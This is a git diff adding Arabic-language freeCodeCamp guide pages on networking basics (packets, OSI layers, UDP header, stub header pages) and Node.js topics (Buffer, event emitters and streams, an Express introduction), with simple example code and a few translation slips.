+**الحزمة** عبارة عن تجريد للبيانات المرسلة في _طبقة الشبكة_ لنموذج OSI. ويتكون من البيانات الفعلية إلى جانب حقول أخرى ضرورية لتوسيطها من عقدة إلى عقدة أخرى في الشبكة. بما أن نقل جميع البيانات معًا عبر شبكة في وقت واحد غير فعال ، يتم تقسيمها إلى حزم صغيرة ثم تمريرها.
+
+تبدو الحزمة كما يلي:
+
+![رزمة](https://www.computerhope.com/jargon/p/packet.jpg)
+
+تقوم طبقة الشبكة بتقسيم البيانات إلى حزم صغيرة ، كل منها يحمل معرفًا فريدًا. ثم يتم تمريرها إلى طبقة النقل التي تنقلها إلى الوجهة من خلال العديد من العقد intermidiate مثل أجهزة التوجيه والمفاتيح ، وذلك باستخدام _بروتوكول التحكم في الإرسال_ (TCP) _وبروتوكول الإنترنت_ (IP). يتعامل TCP مع التوجيه الفعلي بينما يساعد IP في العنوان المنطقي للأجهزة (عنوان IP) للاحتفاظ بمسار أي عقدة لإرسال الحزمة المجاورة.
+
+بمجرد وصول الحزم إلى الوجهة ، يتم إرسال إقرار بالاستلام. إذا تم إسقاط حزمة لأي سبب ، يمكن الاستيلاء عليها مرة أخرى من العقدة المصدر.
+
+مهندسو الشبكات هم المسؤولون عن تنفيذ وصيانة وصيانة ودعم وتطوير ، وفي بعض الحالات ، تصميم شبكات الاتصالات داخل المنظمة أو بين المنظمات.
+
+هدفهم هو ضمان سلامة البنية التحتية للشبكة عالية التوفر لتوفير أقصى قدر من الأداء لمستخدميها. قد يكون المستخدمون موظفين وعملاء وعملاء وموردين. الشبكات يمكن أن تشمل:
+
+الحاسوب؛ صوت؛ جدار الحماية. قد يعمل مهندسو الشبكات داخليًا كجزء من فريق دعم تكنولوجيا المعلومات في الشركة أو خارجيا كجزء من شركة استشارية متخصصة في مجال تكنولوجيا المعلومات تعمل مع عدد من العملاء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/ipv4-header/index.md b/client/src/guide/arabic/network-engineering/ipv4-header/index.md
new file mode 100644
index 0000000000..300e0b0b42
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/ipv4-header/index.md
@@ -0,0 +1,11 @@
+---
+title: IPv4 Header 
+localeTitle: رأس IPv4
+---
+## تنسيق رأس IPv4
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ipv4-header/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/ipv6-header/index.md b/client/src/guide/arabic/network-engineering/ipv6-header/index.md
new file mode 100644
index 0000000000..16ab375e26
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/ipv6-header/index.md
@@ -0,0 +1,11 @@
+---
+title: IPv6 Header
+localeTitle: رأس IPv6
+---
+## تنسيق رأس IPv6
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ipv6-header/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/osi-layers/index.md b/client/src/guide/arabic/network-engineering/osi-layers/index.md
new file mode 100644
index 0000000000..37b527879d
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/osi-layers/index.md
@@ -0,0 +1,44 @@
+---
+title: OSI Layers 
+localeTitle: طبقات OSI
+---
+## طبقات OSI
+
+### المقدمة
+
+هل تساءلت يومًا كيف يتم إرسال البيانات عبر الشبكة من جهاز إلى آخر؟ إذا كانت الإجابة بنعم ، فإن نموذج Open System Interconnected هو ما تبحث عنه.
+
+يستخدم نموذج OSI للمساعدة في توحيد وتوصيف كيفية تدفق البيانات من المرسل إلى المستقبل دون مراعاة البنية الداخلية الأساسية لنقطة النهاية (المرسل ، المستقبل).
+
+إن المنظمة التي توصلت إلى هذا النموذج هي **منظمة التقييس الدولية** ومن ثم يشار إلى هذا النموذج رسميًا باسم **ISO - OSI** .
+
+### هندسة معمارية
+
+كما في الشكل أدناه ، يقسم النموذج الشبكة إلى **7 طبقات** . يبدأ اتصال البيانات في نموذج OSI بالطبقة العليا (طبقة التطبيق) للمكدس في جانب الإرسال ، وينتقل إلى أسفل الرصة إلى الطبقة الدنيا للمرسل (الطبقة المادية) ، ثم يجتاز اتصال الشبكة الفعلي إلى الطبقة السفلى على المستقبِل. الجانب ، وحتى مكدس نموذج OSI الخاص به.
+
+نذهب إلى نهج الطبقات لأنه من السهل تصميم طبقات مستقلة مع وظائف مخصصة تتفاعل مع بعضها البعض بالمقارنة مع نموذج واحد معقد.
+
+![العلاقة بين المرسل والعقد الوسيطة والمتلقي عبر طبقات متعددة](https://user-images.githubusercontent.com/16820612/33828192-2773b920-de91-11e7-8804-08dbfaf0143a.jpg)
+
+### **ملاحظات مهمة**
+
+*   _**طبقات نهاية إلى نهاية:**_ في الرسم البياني أعلاه ، ستلاحظ أن الطبقات العليا للبروتوكول (التطبيق - النقل) ، ترتبط طبقات المرسل والمستقبل مباشرة عبر الأسهم. وذلك لأن هذه الطبقات ليست على دراية بالأجهزة الوسيطة المستخدمة لنقل البيانات (مثل المفاتيح وأجهزة التوجيه). تظهر هذه الطبقات للاتصال مباشرة مع بعضها البعض.
+    
+*   _**وحدة البيانات:**_ في المخطط أعلاه ، إلى أقصى اليسار هو وحدة البيانات المستخدمة في كل طبقة. تتميز طبقة النقل (والطبقات الموجودة أسفلها) باسم فريد لوحدة البيانات التي يتم نقلها من المرسل إلى المستقبل.
+    
+
+### **وظائف الطبقات**
+
+*   _**الطبقة 1 - الطبقة المادية:**_ الطبقة المادية هي أدنى طبقات OSI وأكثرها تعقيدًا. هذا بسبب التقنيات الأجهزة undelying المستخدمة. تتمثل وظيفة هذه الطبقة في تحديد كيفية إرسال دفق البتات بدلاً من حزمة البيانات المنطقية. ويتناول تحديد التواتر الذي سينتقل فيه البتة ، ونوع التشكيل المستخدم ، وطريقة تجميع البتات وغيرها من المعلمات الفيزيائية المنخفضة اللازمة لنقل البتات.
+    
+*   _**الطبقة الثانية - طبقة ارتباط البيانات: طبقة ارتباط**_ البيانات مسؤولة عن نقل البيانات إلى الأجهزة المجاورة على نفس الشبكة المحلية (LAN). تحتوي هذه الطبقة أيضًا على أحكام للتأكد من أن البيانات الخالية من الأخطاء يتم تمريرها إلى الطبقات الأعلى من الطبقة المادية. وبالتالي ، فهي تكشف آليات كشف الأخطاء والتصحيح لضمان الحفاظ على سلامة البيانات.
+    
+*   _**الطبقة 3 - طبقة الشبكة:**_ تكون طبقة الشبكة مسؤولة عن إعادة توجيه الحزم إلى الشبكات الأخرى. عادةً ما تنقسم الشبكة إلى شبكات فرعية متعددة وطبقة الشبكة بمساعدة أجهزة التوجيه لتوجيه الحزم بين هذه الشبكات لإنشاء شبكة واسعة النطاق (WAN).
+    
+*   _**الطبقة 4 - طبقة النقل:**_ تضمن طبقة النقل تسليم الرسائل بدون أخطاء ، في التسلسل ، وبدون خسائر أو ازدواجية. أنه يخفف بروتوكولات طبقة أعلى من أي قلق مع نقل البيانات بينها وبين أقرانهم.
+    
+*   _**الطبقة 5 - طبقة الجلسة:**_ تسمح طبقة الجلسة بتأسيس الجلسة بين العمليات التي تعمل في محطات مختلفة.
+    
+*   _**الطبقة 6 - طبقة العرض التقديمي:**_ تقوم طبقة العرض التقديمي بتنسيق البيانات التي سيتم عرضها على طبقة التطبيق.
+    
+*   _**الطبقة 7 - طبقة التطبيق:**_ تعمل طبقة التطبيق كنافذة للمستخدمين وعمليات التطبيق للوصول إلى خدمات الشبكة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/packets/index.md b/client/src/guide/arabic/network-engineering/packets/index.md
new file mode 100644
index 0000000000..403c12c597
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/packets/index.md
@@ -0,0 +1,47 @@
+---
+title: Packets
+localeTitle: الحزم
+---
+## الحزم
+
+الحزمة هي وحدة أساسية للاتصال عبر شبكة رقمية. وتسمى الحزمة أيضًا **مخطط بيانات أو مقطعًا أو كتلة أو خلية أو إطارًا ،** وفقًا للبروتوكول المستخدم لإرسال البيانات. عندما يتم نقل البيانات ، يتم تقسيمها إلى بنية مشابهة للبيانات قبل الإرسال ، تسمى الحزم ، والتي يتم إعادة تجميعها إلى مقطع البيانات الأصلي بمجرد وصولها إلى وجهتها.
+
+عادة ما تكون شبكات تبديل الرزم أكثر كفاءة مقارنة بالشبكات بتبديل الدارات. تحتاج الشبكة بتبديل الدارة إلى حجز الموارد طوال مدة الاتصال. يمكن لشبكات حزم التبديل إرسال الحزم حسب الطلب.
+
+في نموذج OSI ، تتوافق الحزم مع الطبقة 3 ، طبقة الشبكة.
+
+## هيكل حزمة البيانات
+
+يعتمد هيكل الحزمة على نوع الحزمة الموجودة على البروتوكول. قراءة المزيد أدناه على الحزم والبروتوكولات. عادة ، تحتوي الحزمة على رأس وحمولة.
+
+يحتفظ الرأس بمعلومات عامة حول الحزمة والخدمة وغيرها من البيانات المتعلقة بالإرسال. على سبيل المثال ، يتطلب نقل البيانات عبر الإنترنت تقسيم البيانات إلى رزم IP ، والتي يتم تحديدها في بروتوكول الإنترنت (IP) ، وتتضمن رزمة IP ما يلي:
+
+*   عنوان IP المصدر ، وهو عنوان IP الخاص بالجهاز الذي يرسل البيانات.
+*   عنوان IP للوجهة ، وهو الجهاز أو الجهاز الذي يتم إرسال البيانات إليه.
+*   رقم التسلسل الخاص بالحزم ، وهو رقم يضع الحزم بالترتيب بحيث يتم إعادة تجميعها بطريقة تجعل البيانات الأصلية موجودة تماماً كما كانت قبل الإرسال.
+*   نوع الخدمة.
+*   الأعلام.
+*   بعض البيانات الفنية الأخرى.
+*   الحمولة ، التي تمثل الجزء الأكبر من الرزمة (كل ما سبق يعتبر بمثابة فوق) ، وهي في الواقع البيانات التي يتم نقلها.
+
+## الحزم والبروتوكولات
+
+تختلف الحزم في البنية والوظائف حسب البروتوكولات المطبقة. يستخدم بروتوكول VoIP بروتوكول IP ، ومن ثم حزم IP. على شبكة Ethernet ، على سبيل المثال ، يتم إرسال البيانات في إطارات Ethernet.
+
+في بروتوكول IP ، تنتقل رزم IP عبر الإنترنت عبر العقد ، وهي الأجهزة وأجهزة التوجيه (التي تسمى تقنيًا العقد في هذا السياق) الموجودة على الطريق من المصدر إلى الوجهة.
+
+يتم توجيه كل حزمة نحو الوجهة استنادًا إلى عنوان المصدر والوجهة. في كل عقدة ، يقرر الموجّه ، استنادًا إلى الحسابات التي تنطوي على إحصائيات وتكاليف الشبكة ، والتي تكون العقدة المجاورة أكثر فاعلية لإرسال الحزمة.
+
+هذه العقدة المحددة هي أكثر فعالية لإرسال الحزمة. هذا جزء من تحويل الرزم الذي يقوم بالفعل بتدفق الحزم على الإنترنت ويجد كل منهم طريقه الخاص إلى الوجهة. تستخدم هذه الآلية البنية الأساسية للإنترنت مجاناً ، وهو السبب الرئيسي الذي تجعل مكالمات VoIP والمكالمات عبر الإنترنت مجانية أو رخيصة جدًا.
+
+على عكس الاتصالات الهاتفية التقليدية حيث يجب تخصيص وتخصيص خط أو دائرة بين المصدر والوجهة (يسمى تبديل الدائرة) ، وبالتالي فإن التكلفة الثقيلة ، تبديل الرزم يستغل الشبكات القائمة مجاناً.
+
+مثال آخر هو TCP (بروتوكول التحكم بالإرسال) ، الذي يعمل مع IP في ما نسميه مجموعة TCP / IP. يعد TCP مسؤولاً عن ضمان موثوقية نقل البيانات. ولتحقيق ذلك ، فإنه يتحقق مما إذا كانت الحزم قد وصلت بالترتيب ، سواء كانت هناك أي رزم مفقودة أو تم تكرارها ، وما إذا كان هناك أي تأخير في إرسال الحزم. يتحكم في ذلك عن طريق ضبط المهلة والإشارات التي تسمى الإقرارات.
+
+## استنتاج
+
+تنقل البيانات في الحزم عبر الشبكات الرقمية وجميع البيانات التي نستهلكها ، سواء كانت نصية أو صوتية أو صورية أو فيديو ، تنقسم إلى حزم يتم إعادة تجميعها في أجهزتنا أو أجهزة الكمبيوتر. هذا هو السبب ، على سبيل المثال ، عندما يتم تحميل صورة عبر اتصال بطيء ، فإنك تشاهد قطعًا تظهر واحدة تلو الأخرى.
+
+#### معلومات اكثر:
+
+[جميع مفاهيم الشبكات في تفاصيل موجزة](https://www.lifewire.com/what-is-a-data-packet-3426310 "مقال نجاة حول حزم البيانات")
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/tcp-header/index.md b/client/src/guide/arabic/network-engineering/tcp-header/index.md
new file mode 100644
index 0000000000..3cf1198f65
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/tcp-header/index.md
@@ -0,0 +1,11 @@
+---
+title: TCP Header
+localeTitle: رأس TCP
+---
+## تنسيق رأس TCP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/tcp-header/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/udp-header/index.md b/client/src/guide/arabic/network-engineering/udp-header/index.md
new file mode 100644
index 0000000000..296283a976
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/udp-header/index.md
@@ -0,0 +1,20 @@
+---
+title: UDP Header
+localeTitle: UDP Header
+---
+## تنسيق رأس UDP
+
+يعد بروتوكولات بيانات المستخدم (UDP) أحد البروتوكولات الشائعة الاستخدام في مجموعة بروتوكول الإنترنت (IP) مع TCP و ICMP. ميزات تعريف UDP هي بروتوكول سريع ، اتصال أقل. يتم تسهيل هذه الميزات من خلال UDP Header.
+
+يتكون UDP Header من الحقول الأربعة التالية:
+
+*   منفذ المصدر (16 بت): كما يشار إلى المنفذ المستخدم على جهاز الكمبيوتر المرسل للاتصال UDP كمنفذ الإرسال. عند الدمج مع IP للمرسلين ، يسمح للكمبيوتر المرسل بإنشاء اتصالات متعددة منفصلة (تُعرف باسم Multiplexing).
+    
+*   منفذ الوجهة (16 بت): يشار أيضًا إلى المنفذ المستخدم على الكمبيوتر المتلقي لاتصال UDP كمنفذ الاستقبال. عندما يقترن مع مستقبلات IP فإنه يسمح لتعدد الإرسال.
+    
+*   الطول (16 بت): يحدد طول رأس UDP والبيانات.
+    
+*   المجموع الاختباري (16 بت): يستخدم في التحقق من الخطأ في الرأس والبيانات. اختياري.
+    
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/buffer/index.md b/client/src/guide/arabic/nodejs/buffer/index.md
new file mode 100644
index 0000000000..a12b37ddc6
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/buffer/index.md
@@ -0,0 +1,81 @@
+---
+title: Nodejs- Buffer
+localeTitle: Nodejs- Buffer
+---
+## متعادل
+
+ثنائي هو ببساطة مجموعة أو مجموعة من `1` و `0` . يسمى كل رقم في الثنائي ، كل 1 و 0 في مجموعة _بت_ . يقوم الكمبيوتر بتحويل البيانات إلى هذا التنسيق الثنائي لتخزين وتنفيذ العمليات. على سبيل المثال ، فيما يلي خمس ثنائيات مختلفة:
+
+`10, 01, 001, 1110, 00101011`
+
+لا تحتوي جافا سكريبت على بيانات نوع بايت في واجهة برمجة التطبيقات الأساسية. لمعالجة البيانات الثنائية يتضمن Node.js تطبيق مخزن مؤقت ثنائية مع وحدة نمطية عمومية تسمى `Buffer` .
+
+### خلق المخزن المؤقت
+
+هناك طرق مختلفة يمكنك إنشاء مخزن مؤقت في Node.js. يمكنك إنشاء مخزن مؤقت فارغ بحجم 10 بايت.
+
+ `const buf1 = Buffer.alloc(10); 
+` 
+
+من السلاسل UTF-8-encoded ، يكون الإنشاء كالتالي:
+
+ `const buf2 = Buffer.from('Hello World!'); 
+` 
+
+هناك ترميز مقبول مختلف عند إنشاء مخزن مؤقت:
+
+*   أسكي
+*   UTF-8
+*   base64 في:
+*   LATIN1
+*   الثنائية
+*   عرافة
+
+هناك ثلاث وظائف منفصلة مخصصة في API Buffer لاستخدام وإنشاء مخازن جديدة. في الأمثلة أعلاه رأينا `alloc()` ومن `from()` . والثالث هو `allocUnsafe()` .
+
+ `const buf3 = Buffer.allocUnsafe(10); 
+` 
+
+عند إعادتها ، قد تحتوي هذه الوظيفة على بيانات قديمة تحتاج إلى الكتابة فوقها.
+
+### التفاعلات مع المخزن المؤقت
+
+هناك تفاعلات مختلفة يمكن إجراؤها باستخدام واجهة برمجة تطبيقات Buffer. سنقوم بتغطية معظمهم هنا. دعونا نبدأ بتحويل مخزن مؤقت إلى JSON.
+
+ `let bufferOne = Buffer.from('This is a buffer example.'); 
+ console.log(bufferOne); 
+ 
+ // Output: <Buffer 54 68 69 73 20 69 73 20 61 20 62 75 66 66 65 72 20 65 78 61 6d 70 6c 65 2e> 
+ 
+ let json = JSON.stringify(bufferOne); 
+ console.log(json); 
+ 
+ // Output: {"type": "Buffer", "data": [84,104,105,115,32,105,115,32,97,32,98,117,102,102,101,114,32,101,120,97,109,112,108,101,46]} 
+` 
+
+تحدد JSON أن نوع الكائن الذي تم تحويله هو Buffer ، وبياناته. سيظهر لنا تحويل مخزن مؤقت فارغ إلى JSON أنه لا يحتوي على أي شيء سوى الأصفار.
+
+ `const emptyBuf = Buffer.alloc(10); 
+ 
+ emptyBuf.toJSON(); 
+ 
+ // Output: { "type": "Buffer", "data": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ] } 
+` 
+
+لاحظ أن Buffer API يوفر أيضًا دالة مباشرة `toJSON()` لتحويل مخزن مؤقت إلى كائن JSON. لفحص حجم المخزن المؤقت ، يمكننا استخدام طريقة `length` .
+
+ `emptyBuf.length; 
+ // Output: 10 
+` 
+
+الآن دعونا تحويل المخزن المؤقت إلى سلسلة قابلة للقراءة ، في حالتنا ، ترميز utf-8.
+
+ `console.log(bufferOne.toString('utf8')); 
+ 
+ // Output: This is a buffer example. 
+` 
+
+`.toString()` بشكل افتراضي بتحويل مخزن مؤقت إلى سلسلة تنسيق utf-8. هذه هي الطريقة التي فك ترميز المخزن المؤقت. إذا قمت بتحديد ترميز ، يمكنك تحويل المخزن المؤقت إلى ترميز آخر
+
+ `console.log(bufferOne.toString('base64')); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/event-emitters/index.md b/client/src/guide/arabic/nodejs/event-emitters/index.md
new file mode 100644
index 0000000000..b65d4e9680
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/event-emitters/index.md
@@ -0,0 +1,170 @@
+---
+title: Event Emitters
+localeTitle: بواعث الحدث
+---
+## الأحداث والجداول
+
+تقليديا ، في خادم ويب ، لمعالجة البيانات في شكل ملف عن طريق القراءة والكتابة يستهلك الكثير من الذاكرة لأن طرق المعالجة هذه تحتاج إلى تحميل الملف في كل مرة يكون فيها لقراءة أو كتابة هذا الملف. هذا يعتبر مضيعة للموارد. فكر في ذلك ، من حيث قابلية التوسع والبيانات الضخمة إذا كنا نهدر الموارد ، فإننا سوف نتنازل كثيرًا. توفر طبيعة Node.js غير المتزامنة خيارين مناسبين لنا للعمل مع توفير تدفق البيانات التي تستهلك موارد أقل نظرًا لأن Node.js يعتمد على نموذج غير متزامن غير مقيد. هم ينبعث منها الأحداث والجداول. في هذا القسم ، سنلقي نظرة على كل منهما.
+
+## فئة EventEmitter
+
+EventEmitters هي واحدة من الأفكار الأساسية وراء بنية البرمجة التي تعتمد على الحدث أو البرمجة غير المتزامنة في Node.js. EventEmitter هو كائن وفي Node.js أي كائن ينبعث الحدث هو مثيل لفئة EventEmitter. ما هو الحدث؟ يعتبر كل إجراء تم اتخاذه بواسطة برنامج Node.js مثل بدء خادم الويب وإغلاق البرنامج عند عدم وجود طلب متبقٍ بمثابة حدثين منفصلين.
+
+للوصول إلى فئة EventEmitter في برنامج Node.js ، يجب عليك طلب وحدة `events` من واجهة برمجة التطبيقات Node.js. لإنشاء الكائن ، نقوم بإنشاء مثيل لفئة EventEmitter من خلال استدعاء دالة منشئه.
+
+ `const events = require('events'); 
+ 
+ const eventEmitter = new events.EventEmitter(); 
+` 
+
+أو يمكنك مباشرة الوصول إلى فئة فرعية EventEmitter مثل:
+
+ `const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+` 
+
+توفر فئة EventEmitter العديد من الأساليب المحددة مسبقًا للعمل مع الأحداث. هذه الأساليب هي `.on` و `.emit` و `.error` . يمكن إجراء بث لحدث من دالة مما يؤدي إلى وظيفة رد اتصال يمكن الوصول إليها من خلال أي وظيفة أخرى في JavaScript. هذا مثل البث.
+
+يمكن تنفيذ القدرة على تشغيل حدث باتباع البنية:
+
+ `eventEmitter.emit(eventName, optionalData); 
+` 
+
+ويتم ذلك القدرة على إرفاق ظيفة المستمع وتحديد اسم الحدث المحدد الذي `.on` .
+
+ `eventEmitter.emit(eventName, callback); 
+` 
+
+سنقوم بمحاكاة الوظائف الجديدة التي تعلمناها للتو مع مثال. قم بإنشاء ملف جديد يسمى `eventemitter.js` وقم بلصق التعليمة البرمجية التالية:
+
+ `const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+ 
+ const callback = () => { 
+    console.log('callback runs'); 
+ }; 
+ 
+ eventEmitter.on('invoke', callback); 
+ 
+ eventEmitter.emit('invoke'); 
+ eventEmitter.emit('invoke'); 
+` 
+
+الآن قم بتشغيل المثال أعلاه باستخدام الأمر `node` ويجب أن تحصل على الإخراج التالي.
+
+ `callback runs 
+ callback runs 
+` 
+
+نبدأ من خلال خلق مثيل eventEmitter نستطيع من خلالها الحصول على `.on` هذه الطريقة. تضيف طريقة `.on` الحدث عن طريق تحديد `invoke` الاسم الذي نستخدمه لاحقًا في `.emit` للاتصال باستدعاء وظيفة رد الاتصال المرتبطة به.
+
+هناك دالة أخرى توفرها فئة EventEmitter التي تسمى `.once` . تستدعي هذه الطريقة وظيفة رد الاتصال المرتبطة بحدث للمرة الأولى عند إصدار الحدث. النظر في المثال أدناه.
+
+ `const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+ 
+ const callback = () => { 
+    console.log('callback runs'); 
+ }; 
+ 
+ eventEmitter.once('invoke', callback); 
+ 
+ eventEmitter.emit('invoke'); 
+ eventEmitter.emit('invoke'); 
+` 
+
+انتاج |
+
+ `callback runs 
+` 
+
+`.once` الاحتفاظ بمسارات الأحداث عندما يتم تشغيلها وعدد المرات التي يتم تشغيلها بخلاف طريقة `.on` التي لا تتبع مثل هذا المسار. هذا هو الفرق الرئيسي بين الاثنين.
+
+## فهم تيارات
+
+توفر Node.js طريقة أخرى للعمل مع البيانات بدلاً من استهلاك كمية كبيرة من موارد الذاكرة وجعلها فعالة من حيث التكلفة. هذا ما تفعله التدفقات. في الأساس ، تدفقات تسمح لك بقراءة البيانات من مصدر واحد ووضعها في الوجهة. تعمل بيانات عمليات التدفق على قطع بدلاً من تجميعها في وقت واحد ، مما يجعلها مناسبة للعمل مع مجموعات البيانات الكبيرة. تستخدم العديد من الوحدات النمطية Node.js المضمنة دفق تحت غطاء محرك الأقراص. على سبيل المثال ، طلب HTTP والاستجابة ، ومقابس TCP ، و zlib ، و crypto ، و fs قراءة وتدفق الدفق ، إلخ.
+
+### نوع من تيارات
+
+يوجد في Node.js أربعة أنواع من التدفقات:
+
+*   مقروء
+*   للكتابة
+*   دوبلكس
+*   تحول
+
+الأكثر شيوعا من هذه هي تيارات قابل للقراءة وقابل للكتابة. يتم استخدام التدفقات المقروءة لقراءة البيانات من المصدر ويتم استخدام التدفقات القابلة للكتابة لأداء عملية كتابة تلك البيانات إلى الوجهة. يمكن استخدام التدفقات المزدوجة لإجراء عمليات القراءة والكتابة. Transform عبارة عن مجموعة كبيرة من تدفقات الطباعة على الوجهين مع الاختلاف الوحيد في أنه يمكن تعديل البيانات عند القراءة أو الكتابة.
+
+### نوع أحداث Stream
+
+كل أنواع الدفق هذه هي أمثلة لفئة EventEmitter التي تعني أنها تنبعث من القراءة وتكتب الأحداث. يمكن لكل نوع من أنواع البث أن ينشر الأحداث التالية.
+
+*   data: يتم تشغيل هذا الحدث عندما تكون البيانات متاحة للقراءة بواسطة الدفق القابل للقراءة
+*   خطأ: يتم تشغيل هذا الحدث عند وجود خطأ في قراءة البيانات أو كتابتها
+*   النهاية: يتم إطلاق هذا الحدث عند عدم وجود بيانات متبقية
+
+## تيارات مقروءة
+
+يسمح لك الدفق المقروء بقراءة البيانات من المصدر. يمكن أن يكون هذا المصدر أي شيء من مخزن مؤقت أو ملف أو ما إلى ذلك. أولاً ، قم بإنشاء ملف نصي بسيط للملف الذي سنقوم من خلاله بقراءة البيانات باستخدام الدفق.
+
+ `I am Text file that contains data. 
+` 
+
+الآن ، قم بإنشاء ملف جديد يسمى read.js والذي سينفذ وظيفة قراءة البيانات من هذا الملف النصي باستخدام دفق مقروء.
+
+ `const fs = require('fs'); 
+ const readableStream = fs.createReadStream('abc.txt'); 
+ let data = ''; 
+ 
+ readableStream.on('data', function(chunk) { 
+    data += chunk; 
+ }); 
+ 
+ readableStream.on('end', function() { 
+    console.log(data); 
+ }); 
+` 
+
+إذا قمت بتشغيل البرنامج أعلاه ، ستحصل على الإخراج التالي:
+
+ ` $ node test.js 
+ I am Text file that contains data. 
+` 
+
+وهو ما كتبناه داخل الملف النصي. لقراءة البيانات باستخدام الدفق ، نستخدم دالة تسمى `createReadStream()` من وحدة نظام الملفات `fs` .
+
+عند عدم وجود بيانات متبقية للقراءة بواسطة الدفق القابل للقراءة ، فإنه ينتهي تلقائيًا من وظيفة رد الاتصال. أسلوب `.on` هو ما تعلمناه في القسم السابق من فئة EventEmitter. هذا يدل على أن تدفقات استخدام الطبقة EventEmitter وراء الكواليس.
+
+## تيار قابل للكتابة
+
+يتم استخدام التدفقات القابلة للكتابة لكتابة أو إدراج أو إلحاق البيانات إلى وجهة. مثل دفق مقروء ، يتم توفيرها أيضا من قبل وحدة `fs` . أنشئ ملفًا جديدًا باسم `wrtte.js` فيه دفقًا مقروءًا لقراءة البيانات من المصدر وكتابتها إلى وجهة عن طريق إنشاء ملف `.txt` جديد.
+
+ `const fs = require('fs'); 
+ const readableStream = fs.createReadStream('./abc.txt'); 
+ const writeableStream = fs.createWriteStream('./dest.txt'); 
+ let data = ''; 
+ 
+ readableStream.on('data', function(chunk) { 
+    writeableStream.write(chunk); 
+ }); 
+` 
+
+عندما تقوم بتشغيل هذا البرنامج ، سيتم إنشاء ملف جديد من خلال الدفق القابل للكتابة حيث أنه لديه إمكانية الوصول إلى وحدة نظام الملفات. يستخدم دفق للكتابة `.write()` طريقة لإخراج البيانات على الوجهة. في المثال أعلاه ، نقوم بإنشاء ملف جديد باسم `dest.txt` يحتوي على نفس البيانات مثل `abc.txt` .
+
+## الأنابيب
+
+الأنابيب هو الآلية التي يمكنك أن تقرأ البيانات من مصدر والكتابة إلى الوجهة دون كتابة الكثير من التعليمات البرمجية كما فعلنا أعلاه وأنه لا يستخدم `.on` أو `.write` الأساليب.
+
+إذا أردنا كتابة المثال أعلاه باستخدام الأنبوب ، فسوف نكتب كما يلي:
+
+ `const fs = require('fs'); 
+ const readableStream = fs.createReadStream('./abc.txt'); 
+ const writeableStream = fs.createWriteStream('./dest.txt'); 
+ 
+ readableStream.pipe(writeableStream); 
+` 
+
+لاحظ عدد أسطر الرمز التي أزلناها. أيضا ، نحن الآن بحاجة فقط إلى مسارات الملفات المصدر والوجهة ولقراءة وكتابة البيانات التي نستخدمها `.pipe()` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/express/index.md b/client/src/guide/arabic/nodejs/express/index.md
new file mode 100644
index 0000000000..2e05138b18
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/express/index.md
@@ -0,0 +1,492 @@
+---
+title: ExpressJS
+localeTitle: ExpressJS
+---
+## ExpressJS
+
+عندما يتعلق الأمر ببناء تطبيقات الويب باستخدام Node.js ، قد يستغرق إنشاء الخادم وقتًا طويلاً. على مر السنين نضجت Node.js بما فيه الكفاية بسبب الدعم من المجتمع. يساعد استخدام Node.js كواجهة خلفية لتطبيقات الويب ومواقع الويب المطورين على البدء في العمل على تطبيقهم أو منتجهم بسرعة. في هذا البرنامج التعليمي ، سننظر في Expressjs وهو إطار عمل Node.js لتطوير الويب الذي يأتي مزودًا بميزات مثل التوجيه والتقديم ودعم واجهات برمجة تطبيقات REST.
+
+## ما هو اكسبرس؟
+
+Express هو إطار Node.js الأكثر شيوعًا لأنه يتطلب الحد الأدنى من الإعداد لبدء تطبيق أو API وواجهة سريعة وغير مسبوقة في نفس الوقت. وبعبارة أخرى ، فإنه لا يفرض فلسفته الخاصة التي يجب أن تبنى التطبيق أو API بطريقة معينة ، على عكس ريلز ودجانجو. يمكن حساب مرونته من خلال عدد وحدات `npm` المتوفرة مما يجعلها قابلة للتوصيل في نفس الوقت. إذا كان لديك معرفة أساسية بـ HTML و CSS و JavaScript وكيف يعمل Node.js بشكل عام ، فلن تتمكن في أي وقت من البدء مع Expressjs.
+
+تم تطوير Express بواسطة TJ Holowaychuk وتمت المحافظة عليه الآن بواسطة مؤسسة Node.js ومطوري البرامج مفتوحة المصدر. لبدء التطوير باستخدام Express ، يجب أن يكون لديك Node.js و npm مثبتين. يمكنك تثبيت [Node.js](https://nodejs.org/en/) على جهازك المحلي ومعه يأتي الأمر `npm` بسطر الأوامر الذي سيساعدنا على تثبيت الإضافات أو كما يسمى التبعيات في وقت لاحق في مشروعنا.
+
